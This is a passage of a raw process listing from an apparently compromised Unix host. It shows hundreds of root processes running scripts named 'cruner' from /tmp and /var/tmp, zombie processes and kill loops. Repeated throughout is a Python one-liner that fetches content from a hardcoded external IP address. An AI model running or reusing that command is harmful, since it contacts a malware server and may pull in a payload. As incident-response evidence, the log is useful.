sh /var/tmp/cruner > root 25985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6272 15863 0 - ? 0:00 <defunct> > root 7850 22237 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11928 18614 0 - ? 0:00 <defunct> > root 8115 11534 0 15:45:54 ? 0:00 sleep 60 > root 12526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17536 7286 0 - ? 0:00 <defunct> > root 13114 17683 0 15:46:08 ? 0:00 sleep 60 > root 16178 28120 0 15:45:46 ? 0:00 bash -sh > root 106 12595 0 15:45:34 ? 0:00 sleep 60 > root 513 9086 0 15:45:08 ? 0:00 bash -sh > root 2278 9891 0 15:45:39 ? 0:00 bash -sh > root 20831 23759 0 15:45:29 ? 0:00 sleep 60 > root 25132 24168 0 15:45:39 ? 0:00 bash -sh > root 23342 15192 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 11861 10155 0 - ? 0:00 <defunct> > root 4068 16722 0 15:45:58 ? 0:00 sleep 60 > root 24029 14983 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8169 17380 0 15:44:38 ? 0:00 bash -sh > root 17540 18042 0 - ? 0:00 <defunct> > root 16750 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15952 12106 0 15:45:51 ? 0:00 bash -sh > root 8860 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15145 5493 0 15:45:46 ? 0:00 bash -sh > root 12518 10711 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 58 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11937 927 0 15:43:55 ? 0:00 bash -sh > root 21419 12021 0 15:46:09 ? 0:00 xargs kill -9 > root 18955 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29590 28525 0 15:45:18 ? 0:00 sleep 60 > root 7977 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25763 3797 0 15:46:05 ? 0:00 sleep 60 > root 11834 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26070 23948 0 15:45:39 ? 0:00 bash -sh > root 20563 16609 0 15:44:48 ? 0:00 bash -sh > root 13258 2861 0 15:45:29 ? 0:00 sleep 60 > root 16720 1 0 01:18:10 ? 0:00 sh /var/tmp/cruner > root 27913 4980 0 15:46:10 ? 0:00 xargs kill -9 > root 22891 7623 0 15:45:23 ? 0:00 sleep 60 > root 7884 9825 0 15:45:49 ? 0:00 sleep 60 > root 10401 6300 0 15:45:10 ? 0:00 bash -sh > root 26027 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5691 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 296 1 0 21:26:48 ? 0:01 sh /var/tmp/cruner > root 25060 14367 0 - ? 0:00 <defunct> > root 28964 18307 0 - ? 0:00 <defunct> > root 20628 15896 0 - ? 0:00 <defunct> > root 22186 16544 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 24493 4299 0 - ? 0:00 <defunct> > root 2665 14931 0 15:45:35 ? 0:00 bash -sh > root 26047 26014 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 167 24985 0 15:45:34 ? 0:00 sleep 60 > root 13826 1288 0 15:45:50 ? 0:00 bash -sh > root 14097 21596 0 15:45:50 ? 0:00 bash -sh > root 23265 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1517 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20092 21733 0 - ? 0:00 <defunct> > root 17677 2734 0 15:44:26 ? 0:00 bash -sh > root 10673 7864 0 15:46:12 ? 0:00 xargs kill -9 > root 25407 12792 0 15:46:05 ? 0:00 sleep 60 > root 21414 25374 0 15:45:06 ? 0:00 bash -sh > root 10377 901 0 - ? 0:00 <defunct> > root 14708 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8517 12023 0 15:45:15 ? 0:00 sleep 60 > root 2685 8360 0 15:45:53 ? 0:00 xargs kill -9 > root 13403 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28343 25583 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27281 25322 0 15:43:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6199 20144 0 - ? 0:00 <defunct> > root 9483 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24726 17912 0 - ? 0:00 <defunct> > root 8900 27215 0 15:46:07 ? 0:00 sleep 60 > root 16684 4136 0 15:46:08 ? 0:00 sleep 60 > root 22314 25999 0 15:46:05 ? 0:00 bash -sh > root 22054 28971 0 15:45:52 ? 0:00 bash -sh > root 3200 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1016 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14495 14453 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24689 25520 0 - ? 0:00 <defunct> > root 6915 19438 0 - ? 0:00 <defunct> > root 9331 2824 0 - ? 0:00 <defunct> > root 19667 4598 0 15:46:04 ? 0:00 sleep 60 > root 3470 3010 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24794 7582 0 - ? 0:00 <defunct> > root 2571 14624 0 15:46:06 ? 0:00 sleep 60 > root 17532 28352 0 15:45:26 ? 0:00 sleep 60 > root 20863 20860 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11224 11475 0 15:46:07 ? 0:00 sleep 60 > root 16947 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24954 7573 0 15:45:17 ? 0:00 sleep 60 > root 13057 10832 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18953 17614 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18269 18252 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15127 8074 0 - ? 0:00 <defunct> > root 14842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12178 18964 0 - ? 0:00 <defunct> > root 24532 11450 0 15:45:39 ? 0:00 bash -sh > root 6006 3762 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13344 19627 0 15:45:11 ? 0:00 sh /tmp/cruner > root 17471 6100 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 1741 1756 0 - ? 0:00 <defunct> > root 10143 14916 0 15:45:28 ? 0:00 sleep 60 > root 5784 8466 0 15:45:28 ? 0:00 sleep 60 > root 2086 16635 0 15:46:06 ? 0:00 sleep 60 > root 7748 20169 0 15:45:20 ? 0:00 sleep 60 > root 26691 5548 0 15:45:18 ? 0:00 sleep 60 > root 1916 1 0 14:18:27 ? 0:00 sh /var/tmp/cruner > root 7269 1385 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19561 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 464 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16435 1914 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6167 3796 0 15:45:44 ? 0:00 bash -sh > root 7526 6310 0 - ? 0:00 <defunct> > root 11816 3180 0 15:42:47 ? 0:00 bash -sh > root 20103 26740 0 15:46:09 ? 0:00 bash -sh > root 5742 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16086 15036 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4663 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18395 18024 0 15:46:09 ? 0:00 sleep 60 > root 726 29912 0 - ? 0:00 <defunct> > root 20513 16098 0 15:45:33 ? 0:00 sleep 60 > root 828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20675 16182 0 15:45:46 ? 0:00 xargs kill -9 > root 17030 25927 0 - ? 0:00 <defunct> > root 11013 26369 0 15:43:10 ? 0:00 bash -sh > root 10978 10942 0 - ? 0:00 <defunct> > root 2007 17061 0 15:45:39 ? 0:00 bash -sh > root 2065 1547 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19568 9098 0 15:45:42 ? 0:00 sleep 60 > root 20075 1482 0 15:46:09 ? 0:00 xargs kill -9 > root 19448 11702 0 15:45:33 ? 0:00 sleep 60 > root 9883 5858 0 15:46:12 ? 0:00 xargs kill -9 > root 27847 14282 0 - ? 0:00 <defunct> > root 356 7924 0 15:46:11 ? 0:00 bash -sh > root 22486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28641 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2314 10895 0 15:45:35 ? 0:00 sleep 60 > root 2251 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 425 29925 0 15:45:58 ? 0:00 sleep 60 > root 26254 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11129 22321 0 15:46:12 ? 0:00 bash -sh > root 10472 12682 0 - ? 0:00 <defunct> > root 14173 15616 0 - ? 0:00 <defunct> > root 11732 347 0 15:45:36 ? 0:00 bash -sh > root 6583 5315 0 15:45:28 ? 0:00 sleep 60 > root 660 24989 0 15:45:48 ? 0:00 sleep 60 > root 28177 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13168 21319 0 15:45:55 ? 0:00 sleep 60 > root 6900 25683 0 15:45:40 ? 0:00 sleep 60 > root 14905 7369 0 - ? 0:00 <defunct> > root 11938 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4433 8005 0 - ? 0:00 <defunct> > root 10865 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1327 375 0 15:43:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24777 2940 0 15:46:10 ? 0:00 bash -sh > root 12140 23160 0 - ? 0:00 <defunct> > root 14160 29538 0 15:45:51 ? 0:00 bash -sh > root 14521 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2080 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22526 18113 0 - ? 0:00 <defunct> > root 16347 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5843 5608 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27643 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10367 12933 0 - ? 0:00 <defunct> > root 16103 2445 0 15:43:27 ? 0:00 bash -sh > root 7130 17853 0 15:45:35 ? 0:00 sleep 60 > root 12097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1925 17941 0 15:45:24 ? 0:00 sleep 60 > root 2569 3617 0 - ? 0:00 <defunct> > root 8430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13056 12581 0 15:46:08 ? 0:00 sleep 60 > root 13680 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16338 16333 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25562 25549 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27142 4597 0 - ? 0:00 <defunct> > root 29486 12426 0 - ? 0:00 <defunct> > root 1865 7311 0 15:44:11 ? 0:00 bash -sh > root 25853 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28433 28142 0 - ? 0:00 <defunct> > root 9246 1324 0 15:44:14 ? 0:00 bash -sh > root 8298 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28281 11147 0 15:45:57 ? 0:00 sleep 60 > root 8490 4005 0 15:45:49 ? 0:00 sh /tmp/cruner > root 25803 23128 0 15:46:10 ? 0:00 sleep 60 > root 14938 14574 0 - ? 0:00 <defunct> > root 17306 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7409 9536 0 15:44:13 ? 0:00 bash -sh > root 15632 17372 0 15:44:52 ? 0:00 bash -sh > root 22800 7006 0 - ? 0:00 <defunct> > root 1043 22285 0 15:45:48 ? 0:00 sleep 60 > root 2936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29985 9397 0 15:45:34 ? 0:00 sleep 60 > root 2800 23979 0 15:43:42 ? 0:00 bash -sh > root 13144 27972 0 15:45:50 ? 0:00 sleep 60 > root 29454 15085 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 692 12221 0 15:43:50 ? 0:00 bash -sh > root 23121 1 0 16:02:46 ? 0:01 sh /var/tmp/cruner > root 17999 7970 0 15:46:08 ? 0:00 bash -sh > root 22019 12937 0 - ? 0:00 <defunct> > root 27633 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 757 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29442 29778 0 - ? 0:00 <defunct> > root 16985 1 0 20:43:28 ? 0:00 sh /var/tmp/cruner > root 19614 14462 0 - ? 0:00 <defunct> > root 2777 19851 0 15:45:19 ? 0:00 sleep 60 > root 13215 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10116 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14270 3052 0 15:44:52 ? 0:00 bash -sh > root 13978 7557 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9877 11884 0 - ? 0:00 <defunct> > root 20681 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 348 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10082 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 285 1477 0 15:45:18 ? 0:00 sleep 60 > root 14199 26238 0 15:43:56 ? 0:00 bash -sh > root 27163 716 0 - ? 0:00 <defunct> > root 7933 3651 0 - ? 0:00 <defunct> > root 17848 22502 0 15:45:42 ? 0:00 bash -sh > root 10849 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7109 2599 0 15:46:07 ? 0:00 bash -sh > root 26856 26161 0 15:46:05 ? 0:00 sleep 60 > root 12417 18801 0 15:45:36 ? 0:00 bash -sh > root 28246 24008 0 - ? 0:00 <defunct> > root 20862 20804 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10289 21885 0 - ? 0:00 <defunct> > root 10188 26515 0 15:45:55 ? 0:00 bash -sh > root 10244 9395 0 15:46:12 ? 0:00 xargs kill -9 > root 24214 19890 0 15:45:13 ? 0:00 bash -sh > root 1519 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3689 28998 0 15:45:48 ? 0:00 sleep 60 > root 17192 18324 0 - ? 0:00 <defunct> > root 19438 17309 0 15:45:16 ? 0:00 bash -sh > root 28381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19984 10607 0 15:45:29 ? 0:00 sleep 60 > root 21428 9081 0 15:45:33 ? 0:00 sleep 60 > root 3855 6746 0 15:45:44 ? 0:00 sleep 60 > root 21416 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1303 20256 0 15:45:24 ? 0:00 sleep 60 > root 29841 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10408 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15838 6837 0 - ? 0:00 <defunct> > root 7204 5920 0 15:46:12 ? 0:00 xargs kill -9 > root 4725 17373 0 15:42:46 ? 0:00 bash -sh > root 17829 8041 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14966 8016 0 - ? 0:00 <defunct> > root 10854 11328 0 15:46:12 ? 0:00 bash -sh > root 8349 4876 0 15:45:36 ? 0:00 sleep 60 > root 8415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2025 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4146 4134 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24904 26489 0 15:46:05 ? 0:00 sleep 60 > root 2107 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3262 28069 0 15:46:02 ? 0:00 sleep 60 > root 9837 20445 0 15:45:45 ? 0:00 sleep 60 > root 16736 24659 0 15:45:26 ? 0:00 bash -sh > root 2199 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11740 23080 0 15:46:07 ? 0:00 bash -sh > root 19135 13954 0 - ? 0:00 <defunct> > root 3035 24588 0 15:45:04 ? 0:00 bash -sh > root 26183 1 0 22:16:34 ? 0:00 sh /tmp/cruner > root 29345 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29365 25110 0 15:46:05 ? 0:00 sleep 60 > root 9518 8793 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14119 11564 0 15:46:08 ? 0:00 sleep 60 > root 441 975 0 15:45:44 ? 0:00 bash -sh > root 5872 5827 0 - ? 0:00 <defunct> > root 19763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4631 4806 0 15:45:54 ? 0:00 bash -sh > root 5995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15447 15399 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27946 20998 0 15:45:43 ? 0:00 bash -sh > root 5735 19332 0 15:46:03 ? 0:00 bash -sh > root 25025 18945 0 15:45:30 ? 0:00 sleep 60 > root 8564 23917 0 - ? 0:00 <defunct> > root 26858 15611 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 16165 23244 0 - ? 0:00 <defunct> > root 20402 1237 0 15:43:57 ? 0:00 bash -sh > root 21831 5607 0 - ? 0:00 <defunct> > root 4065 27021 0 - ? 0:00 <defunct> > root 29419 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4807 28231 0 15:44:50 ? 0:00 bash -sh > root 13950 4333 0 15:46:13 ? 0:00 bash -sh > root 10572 8752 0 - ? 0:00 <defunct> > root 15589 8083 0 15:45:51 ? 0:00 bash -sh > root 12866 23613 0 - ? 0:00 <defunct> > root 183 11469 0 15:46:11 ? 0:00 bash -sh > root 14166 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28287 20287 0 15:45:43 ? 0:00 bash -sh > root 28956 26980 0 - ? 0:00 <defunct> > root 16539 14848 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11691 7220 0 15:45:10 ? 0:00 bash -sh > root 6472 14180 0 15:46:12 ? 0:00 bash -sh > root 7438 10804 0 15:45:09 ? 0:00 bash -sh > root 14929 3281 0 - ? 0:00 <defunct> > root 21377 10123 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 14757 5271 0 15:45:46 ? 0:00 bash -sh > root 27967 6352 0 - ? 0:00 <defunct> > root 13634 21056 0 - ? 0:00 <defunct> > root 10678 13871 0 15:46:07 ? 0:00 sleep 60 > root 15631 24090 0 15:44:52 ? 0:00 bash -sh > root 19972 2047 0 - ? 0:00 <defunct> > root 25633 9646 0 - ? 0:00 <defunct> > root 28 29922 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18498 28851 0 15:45:12 ? 0:00 bash -sh > root 1269 29685 0 15:46:11 ? 0:00 sleep 60 > root 6880 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18100 12937 0 - ? 0:00 <defunct> > root 23248 18246 0 15:45:38 ? 0:00 bash -sh > root 7482 25020 0 15:46:07 ? 0:00 bash -sh > root 1808 23800 0 - ? 0:00 <defunct> > root 20368 1 0 20:23:28 ? 0:00 sh /var/tmp/cruner > root 13640 13616 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25379 21299 0 15:46:05 ? 0:00 sleep 60 > root 1902 3064 0 - ? 0:00 <defunct> > root 18740 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19307 29973 0 - ? 0:00 <defunct> > root 27627 19586 0 15:45:53 ? 0:00 sleep 60 > root 11813 1981 0 - ? 0:00 <defunct> > root 24675 24499 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27364 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12553 10589 0 15:43:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20798 20088 0 15:45:38 ? 0:00 sleep 60 > root 23102 14094 0 - ? 0:00 <defunct> > root 19839 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20871 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21825 22989 0 15:44:48 ? 0:00 bash -sh > root 9941 11805 0 15:45:45 ? 0:00 sleep 60 > root 16341 19812 0 15:45:42 ? 0:00 bash -sh > root 23727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14047 1099 0 15:46:13 ? 0:00 bash -sh > root 5109 5075 0 - ? 0:00 <defunct> > root 8110 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5295 24835 0 - ? 0:00 <defunct> > root 11018 26429 0 15:44:51 ? 0:00 bash -sh > root 900 21378 0 15:45:08 ? 0:00 bash -sh > root 11216 2588 0 15:45:55 ? 0:00 bash -sh > root 6361 17239 0 15:45:09 ? 0:00 bash -sh > root 21237 27846 0 - ? 0:00 <defunct> > root 17122 1355 0 15:44:52 ? 0:00 bash -sh > root 16905 18489 0 - ? 0:00 <defunct> > root 16264 1 0 01:30:10 ? 0:00 sh /var/tmp/cruner > root 8142 22077 0 - ? 0:00 <defunct> > root 21781 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24276 14384 0 15:45:23 ? 0:00 xargs kill -9 > root 29691 19112 0 15:45:44 ? 0:00 bash -sh > root 18297 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2932 18750 0 15:45:35 ? 0:00 sleep 60 > root 6305 19491 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 4193 22120 0 - ? 0:00 <defunct> > root 23004 1730 0 15:46:09 ? 0:00 bash -sh > root 10228 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 335 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5960 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15697 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15383 21458 0 - ? 0:00 <defunct> > root 24128 9431 0 15:45:47 ? 0:00 sleep 60 > root 25523 1 0 19:04:35 ? 0:01 sh /var/tmp/cruner > root 414 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10117 6282 0 - ? 0:00 <defunct> > root 15441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26426 10650 0 - ? 0:00 <defunct> > root 1304 971 0 - ? 0:00 <defunct> > root 11208 3272 0 15:44:51 ? 0:00 bash -sh > root 13413 13399 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5192 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23379 23940 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 10020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10498 28725 0 15:46:12 ? 0:00 bash -sh > root 4247 8864 0 15:45:48 ? 0:00 sleep 60 > root 28368 18859 0 15:44:55 ? 0:00 bash -sh > root 7287 22990 0 15:45:09 ? 0:00 bash -sh > root 12127 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8700 8540 0 - ? 0:00 <defunct> > root 14499 8155 0 - ? 0:00 <defunct> > root 15707 15557 0 15:45:51 ? 0:00 bash -sh > root 14446 14437 0 - ? 0:00 <defunct> > root 21415 5535 0 - ? 0:00 <defunct> > root 14906 18198 0 - ? 0:00 <defunct> > root 739 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7415 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18682 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14334 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12459 5842 0 15:44:43 ? 0:00 bash -sh > root 6764 14373 0 15:46:06 ? 0:00 sleep 60 > root 20656 12270 0 15:45:17 ? 0:00 sleep 60 > root 1312 3460 0 - ? 0:00 <defunct> > root 10730 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4035 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22359 18647 0 15:45:47 ? 0:00 bash -sh > root 25008 707 0 - ? 0:00 <defunct> > root 10126 8190 0 - ? 0:00 <defunct> > root 13513 7037 0 - ? 0:00 <defunct> > root 20730 20594 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27262 25447 0 15:45:34 ? 0:00 sleep 60 > root 15635 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10140 24236 0 - ? 0:00 <defunct> > root 27908 20439 0 15:46:02 ? 0:00 sh /tmp/cruner > root 27164 21658 0 - ? 0:00 <defunct> > root 9009 24436 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 11789 26878 0 - ? 0:00 <defunct> > root 10741 17123 0 15:45:10 ? 0:00 bash -sh > root 2326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9427 5823 0 15:45:15 ? 0:00 bash -sh > root 15059 28001 0 15:45:46 ? 0:00 bash -sh > root 21690 5948 0 15:45:06 ? 0:00 bash -sh > root 15983 16841 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18473 8495 0 15:46:00 ? 0:00 xargs kill -9 > root 12039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12601 4458 0 15:45:59 ? 0:00 xargs kill -9 > root 5512 14007 0 15:45:40 ? 0:00 sleep 60 > root 12503 21633 0 15:45:41 ? 0:00 sleep 60 > root 4670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9064 33 0 - ? 0:00 <defunct> > root 13946 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29511 25053 0 - ? 0:00 <defunct> > root 7678 21980 0 - ? 0:00 <defunct> > root 23594 23162 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 103 6794 0 15:45:53 ? 0:00 sleep 60 > root 24925 948 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27327 5161 0 15:45:34 ? 0:00 sleep 60 > root 6699 23235 0 15:45:35 ? 0:00 sleep 60 > root 876 15822 0 15:44:50 ? 0:00 bash -sh > root 28462 21854 0 15:46:05 ? 0:00 sleep 60 > root 12725 25523 0 15:44:52 ? 0:00 bash -sh > root 7987 16942 0 15:45:31 ? 0:00 bash -sh > root 2252 26386 0 15:44:50 ? 0:00 bash -sh > root 12797 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26776 21524 0 15:45:53 ? 0:00 sleep 60 > root 27632 25757 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29196 26246 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3233 19465 0 15:46:06 ? 0:00 sleep 60 > root 25487 9800 0 15:44:32 ? 0:00 bash -sh > root 9943 13204 0 15:45:50 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4383 7281 0 - ? 0:00 <defunct> > root 17714 19355 0 15:46:00 ? 0:00 sleep 60 > root 24844 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6469 14094 0 - ? 0:00 <defunct> > root 21669 20396 0 - ? 0:00 <defunct> > root 26956 22334 0 - ? 0:00 <defunct> > root 19622 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23030 18596 0 15:45:43 ? 0:00 bash -sh > root 8101 8092 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13845 8014 0 - ? 0:00 <defunct> > root 10323 25150 0 15:44:51 ? 0:00 bash -sh > root 14159 17711 0 - ? 0:00 <defunct> > root 12428 12365 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8533 23080 0 - ? 0:00 <defunct> > root 5307 5003 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24283 29298 0 - ? 0:00 <defunct> > root 24879 27341 0 15:44:54 ? 0:00 bash -sh > root 3848 22487 0 - ? 0:00 <defunct> > root 2451 8398 0 - ? 0:00 <defunct> > root 16650 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26096 21060 0 - ? 0:00 <defunct> > root 15318 17791 0 15:45:41 ? 0:00 sleep 60 > root 22294 11897 0 15:45:42 ? 0:00 bash -sh > root 1798 26798 0 15:46:06 ? 0:00 bash -sh > root 15211 15199 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print 